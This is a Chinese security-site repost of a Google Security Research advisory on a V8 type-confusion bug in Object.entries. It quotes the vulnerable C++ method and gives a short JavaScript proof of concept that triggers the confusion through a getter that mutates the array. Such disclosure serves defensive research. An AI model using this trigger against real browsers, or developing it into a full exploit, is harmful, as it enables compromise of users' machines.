首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Google Chrome V8 - 'ElementsAccessorBase::CollectValuesOrEntriesImpl' Type Confu
来源:Google Security Research 作者:Google 发布时间:2018-04-04  
/*
Here's a snippet of the method.
https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=3cbf26e8a21aa76703d2c3c51adb9c96119500da&l=1051
 
  static Maybe<bool> CollectValuesOrEntriesImpl(
      Isolate* isolate, Handle<JSObject> object,
      Handle<FixedArray> values_or_entries, bool get_entries, int* nof_items,
      PropertyFilter filter) {
      ...
    for (int i = 0; i < keys->length(); ++i) {
      Handle<Object> key(keys->get(i), isolate);
      Handle<Object> value;
      uint32_t index;
      if (!key->ToUint32(&index)) continue;
      uint32_t entry = Subclass::GetEntryForIndexImpl(
          isolate, *object, object->elements(), index, filter);
      if (entry == kMaxUInt32) continue;
 
      PropertyDetails details = Subclass::GetDetailsImpl(*object, entry);
 
      if (details.kind() == kData) {
        value = Subclass::GetImpl(isolate, object->elements(), entry);
      } else {
        LookupIterator it(isolate, object, index, LookupIterator::OWN);
        ASSIGN_RETURN_ON_EXCEPTION_VALUE(
            isolate, value, Object::GetProperty(&it), Nothing<bool>()); <<------- (a)
      }
      if (get_entries) {
        value = MakeEntryPair(isolate, index, value);
      }
      values_or_entries->set(count++, *value);
    }
 
    *nof_items = count;
    return Just(true);
  }
 
At (a), the elements kind can be changed by getters. This will lead to type confusion in GetEntryForIndexImpl.
 
PoC:
*/
 
let arr = [];
arr[1000] = 0x1234;
 
arr.__defineGetter__(256, function () {
    delete arr[256];
 
    arr.unshift(1.1);
    arr.length = 0;
});
 
Object.entries(arr).toString();
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Nginx 1.13.10 Accept-Encoding
·Google Chrome V8 - 'Genesis::I
·glibc LD_AUDIT libmemusage.so
·Microsoft Edge Chakra JIT - St
·Faleemi Windows Desktop Softwa
·Microsoft Edge Chakra JIT - St
·Vtiger CRM 6.3.0 - Authenticat
·Moxa AWK-3131A 1.4 < 1.7 - 'Us
·Advantech WebAccess < 8.1 - we
·DuckDuckGo 4.2.0 WebRTC Privat
·Systematic SitAware - NVG Deni
·ProcessMaker Plugin Code Execu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved